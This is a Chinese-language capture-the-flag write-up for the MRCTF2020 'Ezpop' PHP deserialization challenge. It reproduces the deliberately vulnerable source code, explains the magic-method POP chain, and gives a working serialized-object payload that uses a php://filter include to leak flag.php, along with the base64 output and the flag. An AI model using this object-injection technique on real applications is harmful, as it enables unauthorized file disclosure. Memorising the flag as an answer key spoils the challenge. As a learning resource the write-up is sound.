MRCTF2020 Ezpop 1题解
做buu做到自己战队出的题,结果还没做出来,感觉可以remake了。
前置知识
魔术方法的调用
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发。
不同修饰符序列化后的值差异
当时又忘记这个问题了,导致没做出来,在之前的博客中已经提到过了
http://kingkb.top/2022/01/03/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Cweb_php_unserialize%E9%A2%98%E8%A7%A3/
题目详解
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
调用了unserialize,跳转到
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
__toString()当一个对象被当作一个字符串被调用,譬如echo一个类的时候就会调用该函数。注意到__wakeup()中有preg_match,我们可以将source的值改为一个类,从而触发__tostring()。
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__get()在用于从不可访问的属性读取数据会被调用,假如我们将Show中str的值改为Test类,那么由于其中没有source,所以会调用__get()会返回一个p(),而__invoke() 当脚本尝试将对象调用为函数时触发,所以我们可以将p的值赋为Modifier。
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
这里面有include,所以可以利用php伪协议读取。
最后的payload为
<?php
class Modifier
{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test
{
public $p;
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->str = new Test();
}
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
urlencode的原因就是因为不同修饰符序列化后的值差异,而且这种字符是不可见的,用这种方式避免了问题。
最后把payload打进去,回显为
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezhiMGIzNmU0LTFjYzYtNDcwYi04OWRkLTk1MjZjNTNmNDRkZX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解码得到
得到flag:flag{8b0b36e4-1cc6-470b-89dd-9526c53f44de}
参考:
https://blog.csdn.net/weixin_45642610/article/details/115919505